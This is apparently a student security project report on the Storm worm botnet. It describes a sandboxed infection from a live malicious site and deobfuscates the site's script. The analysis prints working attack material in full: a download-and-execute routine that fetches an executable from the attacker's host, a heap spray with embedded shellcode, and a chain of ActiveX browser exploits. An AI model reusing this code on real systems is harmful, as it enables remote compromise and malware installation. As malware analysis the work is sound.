Bots and bot-nets

Transcription

Bots and bot-nets
Content:
Section
Page
Introduction
Bots and bot-nets
3
Introduction to Storm
5
Anticipated infections sequence
7
The lab's environment
8
Actual infection
10
Infection analysis
12
Analyzing Storm's shell-code
21
Storm's dropper sequence
27
Storm's DNS fast fluxing
30
Storm's kernel mode components
32
Analyzing the infected machine's behavior
33
Concept of the Overnet protocol
35
Analysis of msvupdater.exe
37
Storm's network activities
Communication sequences in the bot-net
38
44
Publicize sequence
45
Connect sequence
46
Search sequence
47
Topology discovery sequence
52
Publish sequence
54
Overnet traffic analysis
56
Storm detection algorithm
60
Spam activity
63
Appendix A – Suggested work-plan
68
Appendix B – Program used for this project
70
Appendix C – Planned schedule
72
Bots and bot-nets
Internet bots, also known as web robots, WWW robots or simply bots, are software
applications that run automated tasks over the Internet. Typically, bots perform tasks that
are both simple and structurally repetitive, at a much higher rate than would be possible
for a human alone. The largest use of bots is in web spidering, in which an automated
script fetches, analyzes and files information from web servers at many times the speed
of a human.
Bots were first developed in the early 90's as accessories for IRC channel managers to
provide automatic services like file sharing or channel maintenance.
Latter, in the very late 90's, those IRC bots were adapted by the hackers community to
serve as Trojan horses because the source code of the existing bots could easily be
modified to act as a Trojan horse.
Those malicious IRC bots usually connected to a specified IRC server and join a certain
channel from which they will receive orders from their masters.
This technique allowed the bots' masters to remotely control a large amount of infected
machines in a single operation – thus creating the bot-nets.
Botnet is a jargon term for a collection of software robots, or bots, that run autonomously
and automatically. The term is often associated with malicious software but it can also
refer to the network of computers using distributed computing software.
There are several reasons why a bot master will want control over a large number of
hosts:
1. Perform a distributed denial of service against servers in the Internet.
2. Steal valuable information from the infected host in order to get money.
3. Sell part of the bot-net to Internet spammers.
The first bot participated in a bot-net were to receive orders from their masters usually
using IRC protocol and from one central machine which was operated by the master and
was dubbed bot-herder.
This fact created a single point of failure in the bot-net since blocking the bot-herder IP
address would make the entire bot-net to collapse.
Later, the bot creators evolved their bots to use dynamic DNS (DDNS) in order to find
their C&C server.
The DDNS is a service, which is mostly offered for free in the Internet, that allows user
to own a constant DNS name that will be translated to a specific IP addresses they
requested.
To overcome IP blocking by ISPs, the bot-net master would do the following:
1. register a DDNS name.
2. Assign its IP address to the new name.
3. In case its IP address is blocked by some ISPs – it will change it IP address and
update the DDNS name accordingly.
But this method created another single point of failure.
Bringing down the DNS name of the C&C server would bring down the entire bot-net.
Though bringing down a DNS name under the authority of some DNS server is not a
simple task and requires coordination between several parties in the Internet.
The next step of the bot-net evolution was to drop the central C&C server which had
became single point of failure.
The bot creators had started to drop the IRC protocol which is based upon client - server
architecture and required a central host for the bot-net management and moved more and
more towards decentralized networks based upon open-source software which were used
for peer to peer file sharing.
Again, this evolution in the bots' protocol was originated from the fact that open-source
for those peer to peer networks was widely available on the Internet and can easily be
modified for the bots' purposes.
Today, most of the bots are using worms in order to spread in the Internet.
A worm is a kind of malware that spread over the net by itself automatically usually by
exploiting security holes and known software vulnerabilities.
Worm usually indented to exploit hosts running Windows operating system because of
two main reasons:
1. Windows in the most commonly used operating system.
2. The security architecture of Windows is weak – usually there is no concept of
privileged processes. Every program is ran under the highest privilege level and
thus exploiting this program can easily lead to taking over the entire host.
The most common method of bots to spread today is by sending spam mails to other
users in the Internet seducing them to:
1. Run executables attached to the mail containing the bot's code.
2. Visit web sites which will eventually exploit and infect their system.
Once a host was infected by a bot it becomes part of its distribution system:
1. It may send spam mail to other users to make them unwillingly join the bot-net.
2. It may host a web server that tries to exploit some browsers and offer users to
download some files pretending to have innocent content, but actually contain a
code which spread the bot.
There are also several cases where the infected bot will try to remove other rival bots
from the host it infected in order to be the sole owner of the host.
Introduction to Storm
Storm worm is one of the aliases of a worm which is probably the most infecting worm
the internet ever knew.
This worm infects machines running Windows as their operation system.
During its peak, on 7/9/2007, experts estimated its actively infected machines over the
internet from 1 million to 50 millions (0.1% to 5% of all the machines connected to the
internet).
It was firstly discovered on 17/1/07 by F-Secure and was dubbed “Storm”.
Two days afterward, during the weekend of 19-22/1/07, Storm made its first huge attacks
in 6 waves of attack, which later seemed to acquire it most of its infections ever.
Unlike most of the worms, the storm worm’s main infection mechanism is not based
upon security holes in certain software but rather on social engineering.
This worm usually sends emails with provocative subjects and an executable files as an
attachment or URL links.
For example, on its first attacks, the worm sent emails with the subject "230 dead as
storm batters Europe" (which latter gave it the name “Storm worm”) and an attachment
of a file named “Full Story.exe”.
When the victim choose to open this file (which means “Run this file” on Windows) the
worm’s dropper was activated thus infected the computer and making it a part of its bot
net.
Storm introduced some new “features” which made it so successful staying undetected
and infecting other machines:
1. Storm is designed like an ant colony, with separation of duties. Only a small
fraction of infected hosts spread the worm. A much smaller fraction are C2:
command-and-control servers. The rest stand by to receive orders. By only
allowing a small number of hosts to propagate the virus and act as command-andcontrol servers, Storm is resilient against attack. Even if those hosts shut down,
the network remains largely intact, and other hosts can take over those duties.
2. Storm is normally idle waiting for instructions from a C2 node. It seldom attacks
by sending mails to another host only in a few minutes and then it will be idle
again. Thus, it will not significantly damage its host performance – making it very
hard to detect.
3. Storm is using stealth techniques, custom kernel components and rootkits to hide
its processes from WIN32 API.
4. Storm’s mail attacks are tightly timed across the globe thus giving the security
companies a very short time to detect the spam and prevent the infections.
5. Storm is using modified Kakemlia protocol (used commonly for file sharing in
eMule clients)
When the payload from the email is executed it uses this protocol to locate URLs
for the other parts of the worm or other spam resources (There is no hard-coded
URLs to get those parts).
Example of possible parts are DDoS attack tool, email address stealer, email virus
spreader.
Again, this splits the load over the net making it hard to detect using network
anomalies monitoring in addition to the fact that the content of those files is
encoded every 30 minutes using a different key.
6. Storm uses a new technique called “DNS fast flux” in order to hide the identity of
its C2 nodes and its web servers.
In this technique the IP address translation for a certain name is changing rapidly
every 3 minutes and, in addition to round robin DNS technique, it makes every
‘DNS A’ request (A Unix gethostbyname call) return a different IP address for the
same name.
Anticipated infection sequence
In this section I will try to predict Storm's behavior according to resources on the internet.
When running Storm's dropper, it will drop the following files:
•
%SysDir%\wincom32.sys - Kernel mode driver component
•
%SysDir%\peers.ini - Initialization file component
•
%SysDir%\wincom.ini – peers.ini replacements in some versions.
It will also install itself as a service with the name "wincom32" by creating the following
registry keys:
•
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wincom32]
•
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGAC
Y_WINCOM32]
The kernel mode driver is an advanced payload injector. It carries a user-mode PE
executable file and when the driver executes, it changes the services.exe process context
and allocates new memory for the payload. It then copies the PE executable from kernel
memory to the address space of services.exe and prepares the image for execution.
Finally, it queues an Asynchronous Procedure Call (APC) for services.exe to execute the
payload in its context.
The compromised machine will begin communication with IP addresses and ports taken
from the decoded initialization file using the Overnet protocol. It will be probably
commence UDP communication with source port of 4000.
The lab's environment
Setting-up the environment using QEMU (virtual machine manager):
To prepare the environment I made the following steps:
1. Create a raw image file to act as a virtual hard disk for the virtual machine.
$ qemu-image create -f raw disk1.raw 3500M
Note the use of raw format for the image (instead of compressed format) in order
to be able later to mount the disk from the host OS and inspect it in real-time.
2. Boot the virtual machine from CD image of XP installation disk:
$ qemu-kvm -hda disk1.raw -boot d -cdrom en_winxp_pro_with_sp2.iso
3. Virtual network setup:
1. Create a TAP interface (a network interface which forwards its traffic to userspace application – used for Ethernet tunneling) for the virtual machine.
2. Create a software-based bridge, connect the real Ethernet interface to its first
port and the TAP interface to its second port.
The script I to do it:
#!/bin/sh
# /sbin/create_bridge - set-up the Ethernet bridge for qemu
# Must be run with root permissions!
echo "Creating tap0 iface..."
/usr/sbin/tunctl -u bnirenbe -t tap0
echo "Disabling kernel Ethernet packet filtering..."
for f in /proc/sys/net/bridge/bridge-nf-*; do echo 0 > $f; done
echo "Releasing eth0 IP address from the DHCP pool..."
/sbin/dhclient -r eth0
echo "Bringing eth0 down..."
/sbin/ifconfig eth0 down
echo "Creating bridge br0"
/usr/sbin/brctl addbr br0
echo "Bringing eth0 and tap0 to promiscuous mode..."
/sbin/ifconfig eth0 0.0.0.0 promisc up
/sbin/ifconfig tap0 0.0.0.0 promisc up
echo "Adding br0 and tap0 the br0's ports..."
/usr/sbin/brctl addif br0 eth0
/usr/sbin/brctl addif br0 tap0
echo "Aquiring IP address for br0..."
/sbin/dhclient br0
 Note that in this way, Ethernet packets of the guest OS can be sniffed from the
TAP interface (using tcpdump for example).
4. Bring up the virtual machine:
$ qemu-kvm -net nic -net tap,ifname=tap0,script=no disk1.raw
5. Install all the programs listed in Appendix B on the virtual machine.
6. Mount the file used for hard disk for the virtual machine in the host OS:

Map the raw file to a loop block device (/dev/loop0):
# /sbin/losetup /dev/loop0 disk1.raw
Split the partitions on /dev/loop0 to separate block devices
(/dev/mapper/loop0p*)
# /sbin/kpartx -av /dev/loop0

Mount the first partition of the disk (block device /dev/mapper/loop0p1) as
read-only file-system (the force flag allows us to mount the file-system while
Windows, the guest OS, is using it at the same time):
# /bin/mount /dev/mapper/loop0p1 /mnt/sandbox -o force,ro

Important notes:

My physical network topology is that my computer is connected to the internet
through a router (w/o firewall) that uses NAT (IP address of the host OS is
192.168.2.104).

My virtual network topology is that both my computer (the host OS) and the guest
OS is in the same network and connected to the internet through a router (IP
addresses are 192.168.2.104 for the host OS and 192.168.2.105 for the guest OS).

Since Storm will probably install rootkits to hide its activities. I chose to monitor
the network traffic mainly from outside the virtual machine by sniffing the
Ethernet interface used for connecting the virtual machine to the internet.

The file-system of the guest OS is mounted on the host OS so we can check for
inconsistencies between what is reported in the guest OS and what's really going
on in the file-system (reported in the host OS). Inconsistencies will suggest that
Storm had installed a rootkit to hide its presence in the file-system.
Actual infection
After searching the web for a while for Storm's infection sites I finally found an active
web site of Storm:
http://activeware.cn
This was not easy since the vast majority of the known infection sites were brought down
by the hosting DNS service provider (most of the reported infection sites I found were
under China's domain names – ended with .cn).
After browsing to this web page with my Internet explorer 6, the IE6 application stopped
responding for about 10 seconds and then terminated without any error message.
After my IE6 terminated I had noticed abnormal network traffic in my network
monitoring from the host OS so I assumed that I was infected by Storm during this
operation.
Later in my analysis I prove that this assumption was correct.
Browsing to this site from the host OS with Firefox shows that this site is posing to offer
a video story of a recent earthquake in China (which was happened for real during this
time) and claiming that the Olympic games are in stake.
There is a YouTube-like video player image which is a link to Windows executable file
called beijing.exe (which is probably Storm's dropper). I saved this file for later
inspections.
Figure 1: Screen-shot of the infecting web page
Infection analysis
In this chapter I'll analyze what was really happen in my IE6 browser when I surfed to the
malicious infecting web site.
The HTML source of the main page in activeware.cn:
<html>
<head>
<title>Strongest earthquake hits Beijing</title>
</head>
<body>
<table align="center" width="410" border=0>
<tr><td>A new powerful disaster just occurred in China. The most deadly, 9 magnitude, earthquake took away million of lives in the
heart of China, Beijing. Rapidly growing panic paralyzed life of Chinese capital. 2008 Olympic Games are under the threat of
failure. Click on the video to see the details of this terrible disaster and choose either "Open" or "Run".
<br><br><a href="beijing.exe"><img border=0 src="mov.gif"></a></td></tr>
<iframe src="ind.php" width="1" height="1" style="visibility:hidden;position:absolute"></iframe>
</table>
</body>
</html>
Illustration 2: http://activeware.cn/
Notice the hidden iframe (marked in red) in this page which references to ind.php.
My next step was to download ind.php.
During my testing, I discovered that downloading ind.php twice may produce difference
results:
bnirenbe@localhost ~/Download]$ wget activeware.cn/ind.php
--2008-06-28 14:28:54-- http://activeware.cn/ind.php
Resolving activeware.cn... 124.121.219.134
Connecting to activeware.cn|124.121.219.134|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `ind.php'
[
<=>
] 20,077
5.31K/s in 3.7s
2008-06-28 14:29:00 (5.31 KB/s) - `ind.php' saved [20077]
[bnirenbe@localhost ~/Download]$ wget activeware.cn/ind.php
--2008-06-28 14:40:37-- http://activeware.cn/ind.php
Resolving activeware.cn... 124.121.219.134
Connecting to activeware.cn|124.121.219.134|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `ind.php.1'
[
<=>
] 20,109
5.98K/s in 3.3s
2008-06-28 14:40:56 (5.98 KB/s) - `ind.php.1' saved [20109]
[bnirenbe@localhost ~/Download]$ diff -Bb --brief ind.php ind.php.1
Files ind.php and ind.php.1 differ
Illustration 3: Downloading ind.php twice
The content of ind.php as seen in Illustration 4 is an HTML page containing partly
encrypted Java Script (the entire file is only one text line!)
Illustration 4: Content of ind.php
After fixing the indentation and the formatting of the this file and changing the function's names to shorter
names (func1 and func2) I got the following result:
<html><body>
<script Language="JavaScript">
function func2(key,pt) {
s=new Array();
for(var i=0;i<256;i++) {
s[i]=i;
}
var j=0;
var x;
for(i=0;i<256;i++) {
j=(j+s[i]+key.charCodeAt(i%key.length))%256;
x=s[i];
s[i]=s[j];
s[j]=x;
}
i=0;
j=0;
var ct = '';
for(var y=0;y<pt.length;y++) {
i=(i+1)%256;
j=(j+s[i])%256;
x=s[i];s[i]=s[j];
s[j]=x;ct+=String.fromCharCode(pt.charCodeAt(y)^s[(s[i]+s[j])%256]);
}
return ct;
};
function func1(data) {
data=data.replace(/[^a-z0-9\+\/=]/ig,'');
if (typeof(atob) == 'function')
return atob(data);
var b64_map='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var byte1,byte2,byte3;
var ch1,ch2,ch3,ch4;
var result=new Array();
var j=0;
while((data.length%4)!=0) {
data+='=';
}
for(var i=0;i<data.length;i+=4) {
ch1=b64_map.indexOf(data.charAt(i));
ch2=b64_map.indexOf(data.charAt(i+1));
ch3=b64_map.indexOf(data.charAt(i+2));
ch4=b64_map.indexOf(data.charAt(i+3));
byte1=(ch1<<2)|(ch2>>4);byte2=((ch2&15)<<4)|(ch3>>2);
byte3=((ch3&3)<<6)|ch4;result[j++]=String.fromCharCode(byte1);
if(ch3!=64)result[j++]=String.fromCharCode(byte2);
if(ch4!=64)result[j++]=String.fromCharCode(byte3);
}
return result.join('');
};
document.write(func2(func1("dVMxMFljOHAwa1Zwbzc1TUdEYlFSNw=="),func1(
... some very long string ...)));
</Script><meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</body></html>
Illustration 5: ind.php formatted
func1() looks like a decoding function from base64 encoding to binary.
func2() get two binary strings as arguments: an encryption key and an encoded data and
returns it's decoded content.
The result of the decoding is written dynamically to the HTML document.
Evaluating the string resulted from the call to func2() exposes another JavaScript:
Another one line JavaScript code!
Note that this JavaScript code still contain some encoded strings which will be decoded
in run-time.
For example: "cSYRqHwge1dMCrLK1lassid".replace(/cSYRqHwge1dMCrLK1/ig, "c")
will be decoded to the string “classid” when this line will get executed.
Again, after doing the same code refactoring as above, evaluating all the encoded strings
and adding comments for the code regarding the exploits it try to use I got the following
code:
func1();
//***************************************************************
// First, try the easiest way to break into the computer:
// Use Microsoft HTTP request objects to download Storm's executable and
// run it using a shell.application object.
// Hoping that the user accidently enabled those to work.
//***************************************************************
function func1()
{
var ado = document.createElement('object');
ado.setAttribute("id","ado");
ado.setAttribute("classid","clsid:bd96c556-65a3-11d0-983a-00c04fc29e36");
try
{
var xml_obj = ado.CreateObject("msxml2.xmlhttp",""));
var shellApp = ado.CreateObject("shell.application","");
var adodb_stream = ado.CreateObject("adodb.stream","");
try
{
adodb_stream.type = 1;
xml_obj.open("GET",'http://activeware.cn/load.php?bof',false);
xml_obj.send();
adodb_stream.open();
adodb_stream.Write(xml_obj.responseBody);
var filename = ".//..//gILUGJuFqG.exe";
eval(adodb_stream.savetofile(filename, 2));
adodb_stream.Close();
} catch(myException)
{
}
function innerFunc1()
{
var req = new ActiveXObject("Microsoft.XMLHTTP");
req.open("GET","load.php?mdac=" + Math.random()); // Empty file
req.send(null);
}
try
{
eval(shellApp.shellexecute(filename));
if(shellexecute=true)
{
innerFunc1();
}
}
catch(myException)
{
}
}
catch(myException)
{
}
}
</script><script>
// Following variable is Storm's payload.
// The exploits functions below will try to inject it in several ways...
var Shellcode = unescape
'%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef
%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb
%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef
%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f
%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf
%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed
%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa
%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea
%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa
%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc
%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c
%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a
%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a
%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2f3a%u612f
%u7463%u7669%u7765%u7261%u2e65%u6e63%u6c2f%u616f%u2e64%u6870%u3f70%u6f62%u0066');
// Total = 446 bytes
//***********************************************************************
// Following code exploit vulnerability in
// (Lets remote user execute arbitrary code)
// Works on all Windows XP versions including SP2
// http://www.securiteam.com/exploits/6A0060AH5G.html
//***********************************************************************
var heapSprayToAddress = 0x0c0c0c0c;
var heapBlockSize = 0x400000;
var payLoadSize = Shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize + 0x38);
var spraySlide = unescape('%u0c0c%u0c0c');
var memory = new Array();
spraySlide = getSpraySlide(spraySlide, spraySlideSize);
//0x400000=start address of IE6 and most of Windows applications
heapBlocks = (heapSprayToAddress - 0x400000) / heapBlockSize;
for (i = 0; i < heapBlocks; i++)
{
memory[i] = spraySlide + Shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length * 2 < spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0, spraySlideSize / 2);
return spraySlide;
}
// Start to execute the first exploiting function.
// A new exploiting function will be executed in 2 min averrage.
startCrControlRange();
//********************************************************
// Following code exploit vulnerability in msdds.dll
// (Microsoft DDS Library Shape Control)
// Installed as part of Visual studio and Office.
// The vulnerability is caused due to the failure of the memory allocator to zero the contents of heap memory
// allocated to new object //instances. As a result, the object destructor may use the previous memory content
// as function pointers in its function calls.
// http://securitytracker.com/alerts/2005/Aug/1014727.html
//********************************************************
function startCrControlRange()
{
ugric = unescape('%u0d0d%u0d0d');
var xYz = 0x40000;
while(ugric.length<xYz) ugric += ugric;
ugric = ugric.substring(0,0x3ffe4-Shellcode.length);
bublic = new Array();
for(i = bublic; i < 450; i++) bublic[i] = ugric + Shellcode;
zorro = Math.ceil(0xd0d0d0d);
document.write("<object classid='CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F'></object>");
zorro = document.scripts[0].createControlRange().length;
setTimeout('startSuperBuddy()', 2000);
}
//************************************************************************************
// Exploit AOL SB.SuperBuddy.1 ActiveX Control
// The LinkSBIcons method in the SuperBuddy ActiveX control (Sb.SuperBuddy.1)
// in America Online 9.0 Security Edition dereferences an arbitrary function pointer,
// which allows remote attackers to execute arbitrary code via a modified pointer value.
// http://www.symantec.com/avcenter/attack_sigs/s22269.html
//************************************************************************************
function startSuperBuddy()
{
try {
var buddy = new ActiveXObject('Sb.SuperBuddy.1');
if (buddy)
{
buddy.LinkSBIcons(0x0c0c0c0c);
}
}catch(e)
{
}
setTimeout('startAudioFile()', 2000);
}
//************************************************************************
// Online Media Technologies NCTsoft NCTAudioFile2 ActiveX buffer overflow
// http://www.kb.cert.org/vuls/id/292713
//************************************************************************
function startAudioFile()
{
try
{
var mmed = document.createElement('object');
mmed.setAttribute('classid','clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC');
var mms='';
for(var i=0; i < 4120; i++)
{
mms += 'A'
}
mms += "";
mmed.SetFormatLikeSample(mms);
}
catch(e)
{
}
setTimeout('startGOM()', 2000);
}
//*********************************************************************
// GOM Player "GomWeb3" ActiveX Control Buffer Overflow Vulnerability
// http://xforce.iss.net/xforce/xfdb/38159
//*********************************************************************
function startGOM()
{
var sURL='';
for(var i = 0; i < 510; i++)
{
sURL += unescape('%0c');
}
try
{
var GomManager = new ActiveXObject('GomWebCtrl.GomManager.1');
GomManager.OpenURL(sURL);
}
catch(e)
{
}
setTimeout('startRealPlayer()', 2000);
}
//**********************************************************************************
// RealNetworks RealPlayer ActiveX controls property heap memory corruption
// Multiple RealPlayer ActiveX controls fail to properly handle properties,
// which can allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system.
// http://securitytracker.com/alerts/2008/Mar/1019576.html
//**********************************************************************************
function startRealPlayer()
{
try
{
var rpl = document.createElement('object'), adt='';
rpl.setAttribute('classid', 'clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93');
for(var i = 0; i < 32; i++)
{
adt=adt+unescape('%0C');
}
for(i = 0; i < 5; i++)
{
rbt = rpl.Console;
rpl.Console = adt;
rpl.Console = rbt;
}
}
catch(e)
{
}
setTimeout('startWVF()', 2000);
}
// The exploit for WebViewFolderIcon (continued)
function startWVF()
{
for (i = 0; i < 128; i++) {
try
{
var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505);
}
catch(e)
{
}
}
setTimeout('exploitBaiduBar()', 3000);
}
//***************************************************************************
// Baidu Soba is a popular browser toolbar which developed by Baidu, a Chinese web search engine company, like Google,
// more informations can be found at:
//
// http://www.baidu.com
// http://bar.baidu.com/sobar/promotion.html
//
// There exists a remote code execute vulnerability in Baidu Soba's ActiveX Control "BaiduBar.dll".
// A remote attacker who successfully exploit these vulnerabilities can completely take control of the affected system.
// This function tries to exploit this vulnerability
//
// More information on this vulnerability can be found on:
// http://archive.cert.uni-stuttgart.de/bugtraq/2007/08/msg00021.html
//****************************************************************************
function exploitBaiduBar()
{
try
{
Baidu = document.createElement('object');
Baidu.setAttribute('id', 'BaiduId');
Baidu.setAttribute('classid', 'clsid:A7F05EE4-0426-454F-8013-C41E3596E9E9');
document.body.appendChild(Baidu);
if(new ActiveXObject('BaiduBar.Tool.1'))
{
BaiduId.DloadDS('', 'http://activeware.cn/file.php', 0);
}
}
catch(e)
{
}
}
Analysis of the JavaScript code
 First (in func1()), The code tries to use conventional ways to infect the machine
it's executed on.


It uses an Msxml2.XMLHTTP object to download the file load.php?bof and save
it under the name gILUGJuFqG.exe and then creating a shell.application object to
execute this file on the machine.
My file monitoring during the infection indicated that it succeeded downloading
this file but failed to execute it.
Next, Storm is using heap spray technique to ensure the execution of the shellcode
without knowing the exact the virtual memory layout of the exploited process:
 Create a very big spray slide containing only 0x0c bytes.
 Start creating a huge array (called memory) which each of his elements is a
slide string concatenated to the shellcode at the end.
 The memory array is filled with new elements until Storm make sure that the
virtual memory in the address 0x0c0c0c0c is 0x0c0c0c0c.
■ The base address of IE6 (and almost every other process in Windows) is
0x400000 and each spray block is of size heapBlockSize then filling at
least:
(0x0c0c0c0c - 0x400000) / heapBlockSize
element in the array will ensure that the memory location on 0x0c0c0c0c
is 0x0c0c0c0c.
 Since 0x0c0c is the x86 machine code for the instruction:
or 0x0c,%al
which is actually serving as a NOP instruction, Storm is sure that if someone
will JMP or CALL into address somewhere in the heap it will land on one of
the 0x0c bytes and perform this instruction until it finally slides down to the
shellcode.
 Because the memory in the virtual address 0x0c0c0c0c is very likely to be
0x0c0c0c0c then if someone will use the content of any memory location in
the heap (which is also very likely to be 0x0c0c0c0c) as JMP or CALL target
address it will jump to the address 0x0c0c0c0c and then again slide to the
shellcode.
Now, when everything's ready Storm start to activate certain vulnerabilities in
widely used ActiveX controls.
There are 7 function that each of them tries to exploit a certain vulnerability and
then schedules the next function for execution after about 2 seconds.
I documented a brief summary of each vulnerability that each function is trying to
exploit as comments in the beginning of the function's code.
The most important vulnerability is exploited by startWVF() because it
compromises every machine running unpatched Windows XP SP2 since it exploit
a Window's shell component that ships with Windows.
This was also the exploit which cause my virtual machine to get infected.
Analyzing Storm's shellcode
In the previous chapter I showed how Storm managed to execute it's shellcode on my
virtual machine.
It is still not entirely cleared how a code of size 446 bytes originally embedded in a
JavaScript can turn a healthy machine into part of a bot net.
In this chapter I'll further analyze the content of the shellcode embedded the infecting
JavaScript.
Disassembling the shellcode:
In the last section of this report, I found Storm's shellcode formatted as a JavaScript
string so the first step was to disassemble the content of it to i386 assembly (I assumed
that it was tailored for 32 bit browsers because the majority of the world is still using 32
bit software).
I also assumed the the shellcode contains position independent code so it will be readable
no matter of the starting address I'll use to disassemble it.
I copy-pasted the shellcode into a Perl script I made:
unescape.pl
#!/usr/bin/perl
$payload = "%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e
%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef
%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef
%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f
%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf
%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed
%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa
%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea
%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa
%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc
%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c
%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a
%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a
%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2f3a%u612f
%u7463%u7669%u7765%u7261%u2e65%u6e63%u6c2f%u616f%u2e64%u6870%u3f70%u6f62%u0066";
print "int main() {\n";
print "\tasm(\"mov \$0x12345678,%eax\");\n"; //Special instruction to mark the beginning of the shellcode
$i = 0;
foreach (split("%u", $payload)) {
$num = hex($_);
printf ("\tasm(\".short 0x%x\");\n", $num) if (/\S/);
$i++;
}
print ("\tasm(\"NOP\");\n"x10); // Mark the end of the shellcode
print "\treturn 0;\n";
print "}\n"
The above perl script generate a C code which use inline assembler to inject the values of
the shellcode to the compiled code of the program.
Then I saved the output of this script in a C file, compiled it with GCC to an *.o (GCC
object file) and then used objdump to disassemble the .o file's content:
[bnirenbe@localhost ~/sec_proj]$ ./unescape.pl > shellcode.c
[bnirenbe@localhost ~/sec_proj]$ gcc -c -m32 shellcode.c
[bnirenbe@localhost ~/sec_proj]$ objdump -d shellcode.c > shellcode.asm
In the beginning of the resulted shellcode disassembly I found the following instructions:
13: 43
inc
%ebx
14: 43
inc
%ebx
15: 43
inc
%ebx
16: 43
inc
%ebx
17: eb 0f
jmp
28
19: 5b
pop
%ebx
1a: 33 c9
xor
%ecx,%ecx
1c: 66 b9 80 01
mov
20: 80 33 ef
xorb $0xef,(%ebx)
23: 43
inc
24: e2 fa
loop 20
26: eb 05
jmp
28: e8 ec ff ff ff
call 19
$0x180,%cx
%ebx
2d
We can see that this piece of code is used for decryption of the rest of the shellcode using
simple XOR decryption with a key of 0xef.
I changed my Perl script (unescape.pl) to perform a XOR with 0xef on those bytes before
producing the asm directive to GCC and thus it allowed me to look at the decrypted
shellcode.
Below is rest of the shellcode undecrypted (relevant comment was added):
2d:
2e:
34:
37:
90
64 a1 30 00 00 00
8b 40 0c
8b 70 1c
nop
mov
mov
mov
3a:
ad
lods %ds:(%esi),%eax
3b:
8b 70 08
mov
3e:
44:
46:
47:
4c:
81 ec 00 04 00 00
8b ec
56
68 8e 4e 0e ec
e8 fe 00 00 00
sub
mov
push
push
